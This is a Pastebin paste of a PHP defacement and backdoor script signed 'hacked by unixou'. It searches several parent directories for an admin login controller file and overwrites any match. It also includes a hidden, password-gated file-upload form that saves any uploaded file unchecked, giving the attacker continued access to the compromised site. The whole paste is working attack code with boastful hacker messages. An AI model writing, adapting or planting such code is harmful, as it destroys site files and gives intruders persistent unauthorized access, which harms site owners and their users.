Advertisement
Guest User

ll

a guest
Jul 25th, 2017
848
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.20 KB | None | 0 0
  1. <?php
  2. echo "hacked by unixou";
  3. $sss=array('/','../','../../','../../../','../../../../','../../../../../');
  4. foreach($sss as $pa){
  5. $p1=array("$pa/controllers/admin/AdminLoginController.php","$pa/controllers/AdminLoginController.php");
  6. foreach($p1 as $path){
  7. if (file_exists("$path"))
  8. {
  9. $html = @file_get_contents('');
  10. $save=fopen($path,'w');
  11. fwrite($save,$html);
  12. echo "<br> best hacker ever lol #kiddiefucker <br>";
  13. }}}
  14. if($_GET['up']=="hous"){
  15. echo '<center><font color="Red" size="4">';
  16. /// Script Upload By unixou \\\
  17. if(isset($_POST['Submit'])){
  18. $filedir = "";
  19. $maxfile = '2000000';
  20. $mode = '0644';
  21. $userfile_name = $_FILES['image']['name'];
  22. $userfile_tmp = $_FILES['image']['tmp_name'];
  23. if(isset($_FILES['image']['name'])) {
  24. $qx = $filedir.$userfile_name;
  25. @move_uploaded_file($userfile_tmp, $qx);
  26. @chmod ($qx, octdec($mode));
  27. echo" <a href=$userfile_name><center><b>Sucess Upload :D ==> $userfile_name</b></center></a>";
  28. }
  29. }
  30. else{
  31. echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
  32. }
  33. echo "<br> jador le hacking pro sqli xss <br>";
  34. echo '</center></font>';
  35.  
  36. }
  37. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement